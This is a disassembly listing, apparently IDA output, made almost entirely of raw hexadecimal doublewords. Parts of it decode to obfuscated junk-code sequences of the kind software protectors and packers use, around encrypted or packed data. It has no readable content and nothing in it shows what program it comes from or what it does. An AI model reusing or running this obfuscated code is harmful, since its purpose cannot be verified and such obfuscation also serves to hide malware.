		dd 6EF35211h, 72AEB504h, 0E1AEB50Ch, 0BDAA9148h, 6A855219h
		dd 57522ED8h, 361E89A8h, 0DFF18FF1h, 0C39E102Bh, 0C327D638h
		dd 11FC9122h, 0FCAA914Bh, 2069CF68h, 3B8EE5C1h,	9B8ED5C9h
		dd 0CFAA915Eh, 0FA69C70Eh, 72A517DDh, 0F9AA9148h, 0EC1F24B7h
		dd 0CB9B97E1h, 390393E1h, 0EC5614C5h, 7A2197E4h, 0E10381D1h
		dd 0F3C041B7h, 0F9A9791Dh, 0A18A9148h, 1223CC8Bh, 7B2B956Ch
		dd 9FBE956Ch, 9AEF9148h, 6223238Bh, 0F503A3C9h,	7F7B2F2Eh
		dd 0EA1B148Eh, 14FD97E1h, 3C42C248h, 0BFAA9148h, 46F15213h
		dd 66AEB514h, 0E7AEB50Ch, 0BAAA9148h, 75DB521Bh, 0D7BB90C5h
		dd 3FAE794Eh, 0CDAC9148h, 3418014Ch, 0E7B87918h, 2E09148h
		dd 475D6289h, 3798D5A6h, 19218956h, 3B9A0137h, 9FAA1D47h
		dd 44F09148h, 5DAEB50Ch, 0F2FB000Bh, 72F891C3h,	0B823CB83h
		dd 14F2956Ch, 3C42C648h, 0BFAA9148h, 46F55217h,	66AEB534h
		dd 0E9AEB50Ch, 0BEAA9148h, 0F20F521Fh, 0BA906920h, 0C0521A30h
		dd 36BA24FDh, 1C21F74Eh, 945614C5h, 0F3C097E4h,	0F9A9791Ah
		dd 0A68A9148h, 2A23CB8Bh, 7B2B956Ch, 9FB2956Ch,	9DE89148h
		dd 0F79CCC8Bh, 0FCFC7376h, 0F9AA92C1h, 2C1D9E48h, 815B1A11h
		dd 69AAFB98h, 9FAA92A0h, 0CF4B148h, 0C3DE1816h,	0D7EE104Ch
		dd 0F9AA8B4Ch, 3FFCD748h, 3C9A2F49h, 30154ED1h,	9FAA97CDh
		dd 0BE17BA48h, 6EAC387Dh, 5A9E4CCDh, 0AAAAFB4Eh, 0FCAA92A0h
		dd 0BDF1B148h, 1BF61813h, 0BBEE104Ch, 0CFAA854Ch, 24F9D248h
		dd 46171AA8h, 47AC3844h, 9C473AE2h, 681B148Eh, 30E997E1h
		dd 9FAA98CCh, 0C056F148h, 0E7AA91CEh, 97C2F048h, 110E7EF3h
		dd 0FCAA914Dh, 0A43B59A8h, 0B2BCF3Dh, 0E061DD6Ch, 99AAFB50h
		dd 0E7AA92A0h, 30F4B148h, 0DDDE1816h, 0D8EE104Ch, 7EAA8B4Ch
		dd 0FCFCD748h, 35B7260Fh, 30E05534h, 4EBA24FDh,	0FA43F14Eh
		dd 3FAA9148h, 428E94Ah,	865A103Ch, 2DE998F3h, 2221F041h
		dd 0C9039CA5h, 945614C5h, 0F3C097E4h, 0F9A9791Fh, 0A38A9148h
		dd 223CE8Bh, 7B2B956Ch,	9FB1956Ch, 98ED9148h, 0BD3BD98Bh
		dd 6FB7180Eh, 937A6EFDh, 0FF42C148h, 5EAA9148h,	0B6F25210h
		dd 1EAEB50Ch, 0D2AEB50Ch, 0A7AA9148h, 1B25218h,	0B3FAE045h
		dd 8DF98CBEh, 1E362BF7h, 0AE2F181Bh, 0F5AC3864h, 0CC42C748h
		dd 0C7AA9148h, 7AF45216h, 78AEB53Ch, 0E9AEB50Ch, 38AA9148h
		dd 8BE8521Eh, 0FE37B818h, 95AC3840h, 49A814C5h,	12B97E4h
		dd 0E6ACAD98h, 43CCC1D8h, 143A4952h, 3C42C148h,	0BFAA9148h
		dd 46F25210h, 66AEB50Ch, 0E5AEB50Ch, 0B9AA9148h, 0BE1C5218h
		dd 474B10A7h, 0C78171F8h, 9BC304B7h, 0CFC097E1h, 0E7A97918h
		dd 0AB8A9148h, 0BD23C98Bh, 0B82B956Ch, 7EB0956Ch, 6FEA9148h
		dd 8DC04A8Bh, 14F28C65h, 0EB3F047Bh, 112A97E1h,	70721A5Bh
		dd 559E38D5h, 882F1C4Eh, 0B6AC3DE5h, 36B364D5h,	44CAC14Eh
		dd 0E323F086h, 0A1AAFB6Ch, 0F9AA92A0h, 3FF0B148h, 5AFE1812h
		dd 1BEE104Ch, 9FAA8A4Ch, 0CF8D348h, 263B80CBh, 4790D5Bh
		dd 44216828h, 0FA03B001h, 97CAC129h, 3FAA9140h,	0A63C3AEEh
		dd 263DD666h, 86501A2Eh, 728E8DC1h, 78687491h, 0DD3F6E59h
		dd 14AC385Ah, 3C42C348h, 0BFAA9148h, 46F05212h,	66AEB51Ch
		dd 0E6AEB50Ch, 0BBAA9148h, 49EA521Ah, 63E704C3h, 0BA2397E1h
		dd 99038285h, 27F99122h, 0E7AA914Bh, 0A869CA68h, 0FD8ECDC1h
		dd 0F88ED5C9h, 7EAA9150h, 4E69C20Bh, 0F38F55A5h, 0DFC7148Fh
		dd 0E7A597E1h, 0F4429148h, 0C2AA9148h, 0A5C866EFh, 0DC10626Eh
		dd 61DFF0C0h, 8C6704B7h, 995697E1h, 662F1816h, 99AC387Bh
		dd 0FA42C748h, 0DCAA9148h, 0F7F45216h, 0BEAEB53Ch, 82AEB50Ch
		dd 89AA9148h, 54AD521Eh, 79BC69CCh, 0E4ECE7BBh,	0F4AF2CC3h
		dd 0FB2197E1h, 3903A035h, 5F1D0CC5h, 8C2397E4h,	0A6171C49h
		dd 7EAC385Dh, 556A00FDh, 0FC99284Eh, 0DA599148h, 3F12A2A3h
		dd 94AA9148h, 0DA9E588h, 0A3219150h, 1BF99D6Ch,	0F9AA9148h
		dd 0EB691013h, 0F7AA9148h, 0B6BAB514h, 0C4BEB50Ch, 6E0AA6F0h
		dd 6C4A6E48h, 0CAEB50Ch, 0ACAAFBA8h, 0FCAA92A0h, 0BDF7B148h
		dd 1BC61815h, 0BBEE104Ch, 0CFAA8B4Ch, 24FFD448h, 0FBE9190Bh
		dd 10E4CFF8h, 0FCAA914Eh, 37E9C688h, 8221E7D7h,	9903802Dh
		dd 27FD9122h, 0E7AA914Bh, 0AC69CE68h, 0FD8EEDC1h, 0F88ED5C9h
		dd 7EAA915Eh, 0E369C60Fh, 1ECC2189h, 0AE08FFBFh, 0FFB9122h
		dd 0F3AA914Bh, 0A069C868h, 0F88EDDC1h, 7A8ED5C9h, 3FAA915Eh
		dd 0E669C009h, 72990EBDh, 0E103940Dh, 5E5C2CC5h, 742797E4h
		dd 0FA065013h, 5801A4F0h, 4A2FA2D0h, 0B4AC386Dh, 28435087h
		dd 0A0A6AAFBh, 48F9AA92h, 153FF7B1h, 4C5AC618h,	4C1BEE10h
		dd 489FAA86h, 0F305E983h, 0FD98BA4h, 0B531C9B7h, 6A90F4Dh
		dd 60E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 22648A01h, 531115D1h, 11E945h, 64970000h
		dd 7E849999h, 4B26A166h, 9A64423Dh, 0F534A9B3h,	1880F61h
		dd 0F9000000h, 52006AC3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0F5C08BEFh, 0F870Fh, 0AE90000h
		dd 3B000000h, 7080F5A0h, 93A498BFh, 1DBD8307h, 6A913h
		dd 0BD830975h, 6A91431h, 50197400h, 0B8C08B53h,	4B9h, 2098589h
		dd 9D8D06A9h, 6ABB4C3h,	585BD3FFh, 1431BD83h, 740006A9h
		dd 0B8535017h, 4B9h, 2098589h, 9D8D06A9h, 6ABB164h, 585BD3FFh
		dd 10E9FCh, 896E0000h, 75DF2FF5h, 0DB105954h, 0EC2C1FEh
		dd 8BFC10CFh, 8B6660C0h, 0C38B66DFh, 0C18B4061h, 293DBD33h
		dd 4EB06A9h, 0
		dd 8EA8FBBEh, 50006A66h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0A6B95F21h, 830F3281h, 3,	8DFB8B66h
		dd 0A9053585h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0A472BBBh, 50907CBBh
		dd 5A310F52h, 0F28B5058h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8BCB5B5Ah
		dd 0A92405BDh, 25BD0906h, 6A06A917h, 0EE816600h, 6A8721h
		dd 8DFFBF0Fh, 0ACC3C685h, 3ECEBF06h, 0C0837029h, 68E0F05h
		dd 8B000000h, 0A90399BDh, 0F78B6606h, 0EE95090h, 0AD000000h
		dd 0CCA54284h, 1E53946Eh, 23B21610h, 2EBF9029h,	89477164h
		dd 0A905098Dh, 0E8006A06h, 0Dh,	76821620h, 0F2E70117h
		dd 88522FF2h, 2D850978h, 5E06A90Eh, 95FF006Ah, 6A92EA9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h
		dd 0F98BFD7Ah, 98DE9D8Dh, 0E68106ACh, 1DA0641Ah, 8B66D3FFh
		dd 0D85FFFAh, 6A06A917h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E9E4C353h,	729h, 0E8h
		dd 0ED815D00h, 6ACC3D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 3CC35343h, 0B73D9EF8h, 9E9F3h, 80C00000h
		dd 0D2D67A15h, 817A7137h, 0A9106DBDh, 7D006h, 11860F00h
		dd 8B000001h, 0A9297D9Dh, 39BD8B06h, 0BE06A911h, 7327E043h
		dd 100E381h, 0DB0B0000h, 68850Fh, 83FC0000h, 0ACC277BDh
		dd 840F0006h, 34h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0D4C35545h, 0B0DFC42Fh, 17236EFh, 0A903919Dh
		dd 0E9F38B06h, 53h, 0B0EBBE66h,	0C27785C7h, 106ACh, 31600000h
		dd 0A928298Dh, 0C28B6606h, 35E961h, 830F0000h, 6, 0FDDBD89h
		dd 85C706A9h, 6ACC277h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 77C35646h
		dd 8DFEBF0Fh, 0A9297D9Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0FF2B530Fh
		dd 0BD8BC145h, 6A916E9h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 7CB106C3h
		dd 0E8CA5CB5h, 0FDBE3E7h, 389h,	0F88B6600h, 89DB8C66h
		dd 0A913FD95h, 4C3F606h, 89840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 7E9903C3h
		dd 0BD8B7C21h, 6A932B1h, 13CD95FFh, 6A06A9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFE136C3h
		dd 72970A7Bh, 0B58B0713h, 6A932ADh, 11E890h, 6E290000h
		dd 24D470CFh, 7E3653ECh, 0FEA60C20h, 507117E6h,	0FF08B52h
		dd 0F525031h, 5A585A31h, 0BF505E58h, 24E88AACh,	0DB58B90h
		dd 0E906A92Dh, 3D8h, 12E8h, 730D3400h, 73306ADh, 0F90B11FDh
		dd 0C19F0A93h, 0F971191h, 0B05EF2BFh, 2D9FBF00h, 70E66E5Ah
		dd 0DE816653h, 0E45F8A32h, 7E871h, 3F360000h, 895216F0h
		dd 65B523A1h, 5F06A910h, 60D8B60Fh, 0CE8h, 0E8BA0E00h
		dd 3E3EB4B7h, 0B352D000h, 0BE9E1h, 0CD230000h, 0C04ED442h
		dd 49B5D37Ah, 85095949h, 6A92DADh, 6BA61h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0BBDE89C3h, 80AD1DE0h, 890462F8h, 0A91F6DBDh, 3C38B06h
		dd 0A929F1B5h, 4E8C106h, 931B52Bh, 0F76606A9h, 55BD8BE2h
		dd 2B06A91Dh, 7DB589D8h, 5006A92Eh, 0BE8h, 53849C00h, 0A573854Eh
		dd 9FBE3693h, 52505250h, 585A310Fh, 6160310Fh, 895E585Ah
		dd 6A241Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 2C900BC3h, 7E81EE5h, 7E000000h, 0DC104434h
		dd 5EF8B0C1h, 0DE8h, 0D4AF0D00h, 0BF0D4845h, 0E8BD775Fh
		dd 0BD292390h, 6A90005h, 6DB5FF5Fh, 906A910h, 0A90CF18Dh
		dd 9595FF06h, 0BF06A92Dh, 7A50AF69h, 6A00B0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 815A99C3h
		dd 9B1C7EC7h, 6A70E645h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B0BCC351h,	0CE942h
		dd 6BBB0000h, 45899E6Ch, 86A754EBh, 71E40E1Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B8C35545h, 0BD8B05EDh
		dd 6A91A69h, 830F613Ch,	214h, 14E8h, 0D61BEE00h, 31263751h
		dd 7DDBE553h, 8374E24Bh, 31A5B9ACh, 0D6816610h,	605F8237h
		dd 6C6AA0BAh, 0F281661Eh, 0F619735h, 6AD8B6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0A8C8D1C3h
		dd 6650369Dh, 0B529F98Bh, 6A92525h, 6BAh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BD89C266h, 6A907ADh, 0B50BC38Bh, 6A93559h, 0BE04E8C1h
		dd 445D791Eh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C1DC350h, 0BF66DB0Dh
		dd 0D82B5E64h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0FAC35040h, 890F8Bh, 81000000h,	52E8F4CFh, 6A5839h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 6C76A9C3h, 0BF0F60FBh, 49858BDEh, 6106A90Eh,	880FD82Bh
		dd 100h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DDC35141h, 0A97E513Fh,	8D29C129h, 6A9209Dh, 7B9h
		dd 870F00h, 83000000h, 6A00C1h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0D8DCF9C3h, 62939133h
		dd 860FD93Bh, 0A0h, 8C66F38Bh, 0F98B66D9h, 0F04C1F6h, 8D84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 720C0CC6h, 6699378Ah, 0FF0102BEh, 0A913CD95h
		dd 1810F06h, 0F9000000h, 31BD235Bh, 2B06A900h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 85A922CCh, 0BF663BD4h, 343DF933h, 0F000008h,	2186h
		dd 65B58B00h, 0E906A92Eh, 0Bh, 7EB947F0h, 39A5B141h, 0E96CE2D3h
		dd 8, 830Fh, 0C08B0000h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 5AC35646h, 68C0Fh, 8D010000h
		dd 6A911EDh, 9585C7F5h,	0BF06A90Fh, 6A3EB8DFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0BD98C353h, 6AC08B93h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0F1CBC357h,	8735290h
		dd 37A974C0h, 0DDBD2960h, 306A926h, 0A901A59Dh,	0BD816106h
		dd 6A9106Dh, 7D0h, 59850Fh, 0BF660000h,	85FF6BF9h, 6A9106Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AC35141h
		dd 0A825C8C4h, 78B0Fh, 890F0000h, 1, 0B96660F9h, 0C081C5A8h
		dd 1CEAFCB5h, 11E961h, 12C50000h, 2BC0A5CEh, 989E6DCAh
		dd 0EB07C13Dh, 0FFA6960Eh, 0A9106DB5h, 0B5958906h, 0FF06A916h
		dd 0A92D9595h, 11830F06h, 0E9000000h, 0Ch, 0CDF8E159h
		dd 68F324B9h, 42BDAA7h,	5678B890h, 0E6811234h, 637DB161h
		dd 37D9D89h, 9D8D06A9h,	6ACCABCh, 0FFF8F3E9h, 0AD8D89FFh
		dd 0F06A92Dh, 68Ah, 83D78100h, 90F79C7h, 0A915219Dh, 0BCBF6606h
		dd 6AC18B88h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0D82CC350h, 94468F23h,	9C4F68CBh
		dd 4EBh, 0FBBF0000h, 8D53FAB5h,	0A9053585h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 6B431990h, 9043C2B4h, 50FB8B66h, 89905F57h, 0A90205B5h
		dd 0F08B6606h, 0BF66006Ah, 6AEE24h, 8A98D89h, 858D06A9h
		dd 6ACCC60h, 587BF66h, 0E805C083h, 0Eh,	0EBF81F82h, 1603FD59h
		dd 0FB8B0C73h, 0B58BE524h, 6A92509h, 5250505Fh,	1B210FBFh
		dd 51310F20h, 86FCA4BFh, 585A5E2Dh, 60240489h, 696C5EBBh
		dd 61CE8B4Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E92833C3h, 13h,	0BBD72ADFh, 33B8D88Bh
		dd 0EEF49E71h, 99239E2h, 6A286B97h, 1DB58B00h, 0FF06A90Ch
		dd 0A92EA995h, 8DBD8B06h, 8906A92Ch, 0A9227D85h, 0DE9D8D06h
		dd 6A06AC98h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 9802C356h, 0EE450A91h,	68D0F21h
		dd 8B000000h, 0A921E5BDh, 9E906h, 3E020000h, 1070CBFCh
		dd 0FF9F2328h, 1B58BD3h, 8906A932h, 0A908E18Dh,	0D85FF06h
		dd 8906A917h, 0A922BDB5h, 0C9BE906h, 0E80000h, 5D000000h
		dd 0CC6AED81h, 0BD8106ACh, 6A9106Dh, 7D0h, 0F8860Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6E9A2C3h, 98000000h,	0F7B75156h
		dd 0F98B66F2h, 6FE9CF81h, 9D8B11EAh, 6A91679h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 99C35747h, 68AC2494h
		dd 19B52916h, 0F506A912h, 100E381h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DB0B20C3h
		dd 4E850Fh, 85890000h, 6A91391h, 0BE9h,	5ABD8900h, 72D1C99Ah
		dd 15ED889Dh, 0CB1DBD83h, 0F0006ACh, 1684h, 0A1B58900h
		dd 0E906A925h, 2Fh, 0B1FBC6BEh,	7CF813Ah, 0C74A6AC4h, 0ACCB1D85h
		dd 106h, 0F78B6600h, 12E9h, 0FA8B6600h,	0CB1D85C7h, 6ACh
		dd 0A6BF0000h, 8D59E504h, 0A916799Dh, 0B5BD8B06h, 8106A90Eh
		dd 0FFFEFF23h, 8C66FCFFh, 0F6FA8BDBh, 840F04C3h, 26h, 0CD95FFF5h
		dd 0F06A913h, 0E950FFBFh, 0Dh, 0FD197215h, 8803EF43h, 4355E083h
		dd 240489C7h, 152DB503h, 86E906A9h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 97FDC350h, 65AB2B3Fh, 0B58B2232h, 6A900E5h, 860F00B0h
		dd 15h,	10E9h, 4122B400h, 9F03D4EDh, 0A958AB00h, 9EC49033h
		dd 6A70E6D1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 6D12C352h, 0A46D0876h,	0E4E5EC96h
		dd 0E9BD2971h, 0F06A908h, 0BAF8D8B6h, 6, 0DBD8B52h, 5F06A910h
		dd 0E8C1C38Bh, 66F98B04h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B58E2C3h, 0A90C69B5h
		dd 9DF78106h, 2B78C45Eh, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B70F5056h, 0F0B70FFFh
		dd 8B525050h, 51310FF1h, 0FE9h,	2C308800h, 584D4805h, 2925AB6Bh
		dd 7775915h, 89585A5Eh,	0FFF8241Ch, 0A9106DB5h,	9595FF06h
		dd 6A06A92Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0DE2BC353h, 1F3710A5h,	89F0A907h
		dd 0A90645BDh, 6A00B006h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 1B4C356h, 559EE0E6h
		dd 6070E691h, 12E9h, 0AD116700h, 494ECF8Ch, 0CA84F5BCh
		dd 1DAFEC00h, 81179E52h, 8D6A84EFh, 71E46178h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EC35242h, 8FA7C30Eh
		dd 0F613C9Ah, 1E083h, 6810F00h,	89000000h, 0A91101B5h
		dd 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	98C35646h, 0A156284Dh, 3489BD8Bh, 0D68106A9h, 6C0966E1h
		dd 6BAh, 7DB58B00h, 8B06A933h, 0BD8B57C3h, 6A91765h, 840F525Eh
		dd 6, 21D5BD8Bh, 0C15F06A9h, 0BD8B04E8h, 6A91A91h, 6619589h
		dd 0F76606A9h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 8DB4ADFh, 8909DC58h, 52D82B8Eh
		dd 45BD2356h, 5F06A90Ah, 0FFBF665Fh, 6A5825h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 952931C3h
		dd 6A92031h, 880FD82Bh,	111h, 7B9F78Bh,	83000000h, 6A00C1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 589156C3h, 48550F9Fh, 1EBF313Dh, 3B37D038h, 0D6860FD9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 5E52C355h, 3F1BD89h, 8C6606A9h
		dd 0FD9D29D9h, 0F606A908h, 840F04C1h, 99h, 16B59529h, 95FF06A9h
		dd 6A913CDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	36C35646h, 3BF665Bh, 0B5B58BD1h, 2B06A929h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 8343D20h, 860F0000h,	3Dh, 68F0Fh, 0BD8B0000h, 6A900FDh
		dd 34E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0AE167447h, 6E9F815h, 9B000000h
		dd 5BC8AAE1h, 31C08B41h, 0A92A0D9Dh, 8BC38B06h,	0C9B58BD8h
		dd 0C706A90Dh, 0A9297D85h, 7C17B306h, 52006A34h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 6AC08B20h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F72C356h, 84h, 0FDB58B00h, 8106A913h
		dd 0A9106DBDh, 7D006h, 50850F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 66C6C352h, 8166F28Bh, 0FFC442CFh, 0A9106D85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B6F6F5E6h, 519E440Ah, 0FFF18B4Fh, 0A9106DB5h, 0FFFE8B06h
		dd 0A92D9595h, 81666006h, 610750C7h, 6A4090h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 56443C3h
		dd 9600A70h, 0A93469BDh, 0BD836106h, 6A90341h, 6840F00h
		dd 0F9000001h, 34698D09h, 0BD8306A9h, 6A90E21h,	0F2840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 8579C355h, 0C5775764h,	8B20AEFBh
		dd 0A933F5B5h, 4195FF06h, 6006A903h, 9957BA66h,	34219D8Bh
		dd 0B6106A9h, 0AE840FC0h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 5C49C357h
		dd 40982B1Eh, 0BA666012h, 8D89255Dh, 6A926D1h, 0CBBF6661h
		dd 0C08D8D6Bh, 6A06A94Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 3F87C355h, 0B49B3E5Bh
		dd 0BD2389B2h, 6A916A9h, 5B8h, 9E900h, 78D40000h, 0FB16BB14h
		dd 0FF4A2D81h, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 7A06A29Ah, 12E938D9h
		dd 20000000h, 347EE2A5h, 0C1DC1044h, 0A5291B0h,	0C3E0A1D8h
		dd 89BD8351h, 6A912h, 5A3840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 9256EBC3h
		dd 6810F50h, 0B000000h,	0A90529B5h, 21BD8306h, 6A90Eh
		dd 56B840Fh, 0BF0F0000h, 18D8DFBh, 8B06A905h, 0A90A69B5h
		dd 8401C706h, 8B44B27Ch, 0A925A9B5h, 0CB018106h, 891499CFh
		dd 0A932359Dh, 441C706h, 0CE706B34h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0ACC35747h,	52735C8Ch, 5118F04h
		dd 2D918529h, 418106A9h, 0D6D71004h, 89006A31h,	0A912958Dh
		dd 1858D06h, 6A06A905h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0D569C351h,	8C8F4953h
		dd 0C05B589h, 895006A9h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0D666ADC3h, 0F81D1F6h
		dd 95FFF0B7h, 6A91289h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 5BC35646h, 0BAB11C52h, 4E2FFE81h, 0F7B70FE9h
		dd 5018D8Dh, 0BD8B06A9h, 6A90365h, 1C7h, 8B600000h, 0AC681DEh
		dd 61422EA3h, 441C7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h
		dd 17042444h, 46000000h, 4AECC356h, 0BF816CAh, 3C840FC0h
		dd 8B000000h, 0A91F4DB5h, 0C08D8D06h, 6A06A94Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 54E3C356h, 1699AB9Fh, 5B8B9h, 0FFF90000h, 81B523E1h
		dd 8D06A90Dh, 0A905018Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 76233196h
		dd 0EA337B36h, 8C0F1DA9h, 0
		dd 727C01C7h, 6A44AAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A1E04FC3h, 0B58BE698h, 6A90039h
		dd 0CFCB0181h, 5E91499h, 0AE000000h, 0B035824Fh, 3C0441C7h
		dd 6ACE7875h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6240C353h, 8133753Ch, 0D7100441h
		dd 6A31D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 6A58C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F5C35747h, 0F4DF818Fh, 89474DA9h, 0A91E9195h
		dd 1858D06h, 6A06A905h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9BFAC351h, 3800Fh
		dd 0B70F0000h, 7E950FEh, 17000000h, 792A61FDh, 489ECA3h
		dd 4800F24h, 66000000h,	0FF1AC3BEh, 0A9128995h,	18D8D06h
		dd 6A06A905h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0BEB2C352h, 6890Fh, 0BD8B0000h
		dd 6A90D81h, 1C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0CFD013C3h, 0E9264E42h
		dd 11h,	4DF3D752h
		db 0E1h, 24h
word_584F4E	dw 0AD5Bh		; DATA XREF: ___:00436EFCo
		dd 8D3EF53Eh, 85B01516h, 441C765h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h
		dd 0DE816C18h, 39EF13Ah, 840FC00Bh, 61h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 1DC35545h, 5E914h
		dd 0BFAE0000h, 8DD678F6h, 0A94DC08Dh, 0B5BD2306h, 0B806A935h
		dd 5, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 17h
		dd 87C35040h, 0FF260D39h, 8D2960E1h, 6A92179h, 18D8D61h
		dd 6A06A905h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
